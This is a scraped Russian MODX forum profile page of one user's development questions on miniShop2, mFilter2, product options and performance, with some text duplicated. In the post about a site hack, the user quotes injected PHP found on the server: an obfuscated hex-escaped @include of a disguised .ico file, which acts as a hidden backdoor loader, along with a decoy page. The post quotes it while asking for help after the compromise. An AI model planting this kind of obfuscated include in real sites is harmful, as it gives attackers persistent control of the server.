
Андрей
С нами с 22 сентября 2014; Место в рейтинге пользователей: #127Подскажите по процессору minishop2
Добрый день.
Пытаюсь сделать загрузку фото в своем компоненте на основе процессора minishop2 gallery/upload
Вылезает такая ошибка, никак не пойму, как ее устранить)
В коде эта вот строка:
Пытаюсь сделать загрузку фото в своем компоненте на основе процессора minishop2 gallery/upload
Вылезает такая ошибка, никак не пойму, как ее устранить)
Fatal error: Call to a member function sanitizePath() on null in /core/model/modx/sources/modfilemediasource.class.php on line 42
В коде эта вот строка:
$path = $this->fileHandler->sanitizePath($path);
Выяснил, чтое сли закоментирвоать строку$upload = $this->mediaSource->createObject($uploaded_file->get('path'), $uploaded_file->get('file'), '');
Ошибка пропадает, как можно переписать данную строку, чтобы не затрагивать файл modfilemediasource.class.php? Набор опций
Добрый день.
Скажите, как можно сделать, может кто сталкивался:
Нужно реализовать наборы опций для товаров.
Например Набор 1, туда входят такие-то значения опции.
Набор 2 — другие значения.
Причем значения в наборах могут пересекаться. Это нужно сделать для облегчения выбора, чтобы вместо выбора массы опций однотипных по товарам, просто выбирать нужный набор.
Скажите, как можно сделать, может кто сталкивался:
Нужно реализовать наборы опций для товаров.
Например Набор 1, туда входят такие-то значения опции.
Набор 2 — другие значения.
Причем значения в наборах могут пересекаться. Это нужно сделать для облегчения выбора, чтобы вместо выбора массы опций однотипных по товарам, просто выбирать нужный набор.
Отметить используемые у товара опции
Добрый день.
Подскажите, как мне отметить используемые у товара опции.
Вот так получаю все возможные значения опции
Опции товара я получаю например так:
Заранее спасибо!
Подскажите, как мне отметить используемые у товара опции.
Вот так получаю все возможные значения опции
$options = $modx->getObject('msOption', [
'key' => $key
]);
$prop = $options->get('properties');
foreach ($prop as $k => $v) {
foreach ($v as $values) {
echo "<label><input type='checkbox' name='.$key.'> $values</label>
";
}
}
А как те опций, что есть у данного товара отметить checkbox?Опции товара я получаю например так:
$product = $modx->getObject('msProduct', $id);
$options = $product->loadData()->get('options');
$option_key = $options[$key];
Как при выводе первых данных отметить те значения опций, что есть во втором?Заранее спасибо!
Добавление опций и их редактирование с фронта через компонент ms2Form
3
Добрый день.
Нужно настроить возможность добавления опций (msOption) при создании и редактировании товара с помощью компонента ms2Form.
Нужно настроить возможность добавления опций (msOption) при создании и редактировании товара с помощью компонента ms2Form.
Инициировать скрипт после mFilter2
Добрый день. Подскажите как мне поборот такую проблему:
У меня используется owl-carousel для вывода результатов фильтрации. Так вот после загрузкеи все нормаль но работает карусель инициируется, а вот после срабатывания фильтров — не хочет.
Добавил код, но все равно не хочет. Может что-то не так с разметкой делаю?
Вот разметка
У меня используется owl-carousel для вывода результатов фильтрации. Так вот после загрузкеи все нормаль но работает карусель инициируется, а вот после срабатывания фильтров — не хочет.
Добавил код, но все равно не хочет. Может что-то не так с разметкой делаю?
Вот разметка
<div class="fadeOut owl-carousel owl-project" id="mse2_results">
[[+my.results]]
</div>
А вот код, который по идее должен инициировать карусель после работы фильтров:$(document).on('mse2_load', function(e, data) {
$('.owl-project').owlCarousel({
loop:true,
margin:10,
responsiveClass:true,
nav : true,
navText:["Назад","Вперед"],
responsive:{
1000:{
items:1,
nav : true,
loop:true
}
}
})
});
Фото товара в категории
Добрый день.
Вывожу каталог товаров через mFilter.
Вот вызов:
Вывожу каталог товаров через mFilter.
Вот вызов:
[[!mFilter2?
&class=`msProduct`
&element=`msProducts`
&parents=`116`
&setMeta=`1`
&toSeparatePlaceholders=`my.`
&toPlaceholders=`my.`
&tpl=`project-item`
&filters=`
ms|ploshad:number,
ms|price:number`
&aliases=`
ms|price==price,
ms|ploshad==ploshad`
&tplFilter.outer.price=`tpl.mFilter2.filter.slider`
&tplFilter.row.price=`tpl.mFilter2.filter.number`
&tplFilter.outer.ploshad=`tpl.mFilter2.filter.slider`
&tplFilter.row.ploshad=`tpl.mFilter2.filter.number`
&showLog=`0`
&limit=`1`
]]
Мне нужно, чтобы в каталоге выводилась галерея фото товара, для этого в чанке подключил msGallery, Несколько вызовов msProducts на странице
Добрый день.
У меня на странице имеется много (порядка 7) вызовов msProducts для вывода различных блоков информации (хотя продаж, новинки и т.д.)
В результате страница генерируется более 14 секунд. (screenshot_1)
Выводы были через pdoPage
Заменил все выводы на прямой вызов msProduct и сделал все вызовы кешированными — скорость возросла в 2 раза, до 6 секунд с копейками, но это тоже много. (screenshot_2).
Пошел смотреть showLog одного из выводов и увидел там длиннующий запрос, с перечислением все категорий товаров (а их много).
Отправляю под кат.
У меня на странице имеется много (порядка 7) вызовов msProducts для вывода различных блоков информации (хотя продаж, новинки и т.д.)
В результате страница генерируется более 14 секунд. (screenshot_1)
Выводы были через pdoPage
Заменил все выводы на прямой вызов msProduct и сделал все вызовы кешированными — скорость возросла в 2 раза, до 6 секунд с копейками, но это тоже много. (screenshot_2).
Пошел смотреть showLog одного из выводов и увидел там длиннующий запрос, с перечислением все категорий товаров (а их много).
Отправляю под кат.
использование процессоров minishop2 во внешнем файле
Добрый день. Пытаюсь сделать простенький код добавления и обновления товаров mninishop2 с помощью скрипта во внешнем файле.
Но почему-то не работает. Простые modx процессоры работают, но мне нужно обновлять например поле цены или артикула. Как выйти из ситуации? Это код не обновляет поля товара
Но почему-то не работает. Простые modx процессоры работают, но мне нужно обновлять например поле цены или артикула. Как выйти из ситуации? Это код не обновляет поля товара
if ($res = $modx->getObject('modResource', $q)) {
$data = array();
$processorProps['id'] = $res->get('id');
$response = $modx->runProcessor('resource/update', $processorProps);
}
else {
$response = $modx->runProcessor('resource/create', $processorProps);
}
Взлом сайта
Добрый день.
Сегодня зарегистрировали взлом сайта. При поиске по серверу были обнаружены следующие файлы:
Сегодня зарегистрировали взлом сайта. При поиске по серверу были обнаружены следующие файлы:
/core/lexicon/index.phpс таким содержимым:
<?php
/*93a2a*/
@include "\x2fva\x72/w\x77w/\x75se\x726/\x64at\x61/w\x77w/\x64iz\x61in\x76ol\x6fs.\x72u/\x63or\x65/m\x6fde\x6c/a\x77s/\x66av\x69co\x6e_e\x39e6\x35a.\x69co";
/*93a2a*/
echo file_get_contents('index.html.bak.bak');
И рядышком файлindex.html.bak.bakс таким содержимым:
<h2>Unauthorized access</h2>
You're not allowed to access file folder
В логах много таких записей:«GET /site/emvkdb.php?nuxk=2011-nissan-gtr-for-sale HTTP/1.0» 200 4080 "-" «Mozilla/5.0 (compatible; MJ12bot/v1.4.7; mj12bot.com/)»Конструкция из файла index.php обнаружена в нескольких файлах, с разными символами, но принцип один и тот же. Скажите, была и ли кого-то такая проблема и как ее решали? Ну и в целом как обезопасить себя от подобных неприятностей?
Как лучше хранить данные теста
Добрый день.
Делаю небольшой компонент тестирования, встал вопрос, как лучше организовать хранение билетов и вопросов, а также правильных ответов к ним.
Например под билеты сделать отдельную вкладку, где будут заноситься просто билеты.
Вторая вкладка будет: Вопросы, где при добавлении вопроса, мы выбираем билет и пишем сам вопрос, а также в отдельном поле вбиваем номер правильного ответа.
В связи с чем вопрос: Может есть какой-то более удобный способ хранения информации (может json или массив)? Чтобы сразу при создании билета можно было набить ему вопросы и правильные ответы?
Делаю небольшой компонент тестирования, встал вопрос, как лучше организовать хранение билетов и вопросов, а также правильных ответов к ним.
Например под билеты сделать отдельную вкладку, где будут заноситься просто билеты.
Вторая вкладка будет: Вопросы, где при добавлении вопроса, мы выбираем билет и пишем сам вопрос, а также в отдельном поле вбиваем номер правильного ответа.
В связи с чем вопрос: Может есть какой-то более удобный способ хранения информации (может json или массив)? Чтобы сразу при создании билета можно было набить ему вопросы и правильные ответы?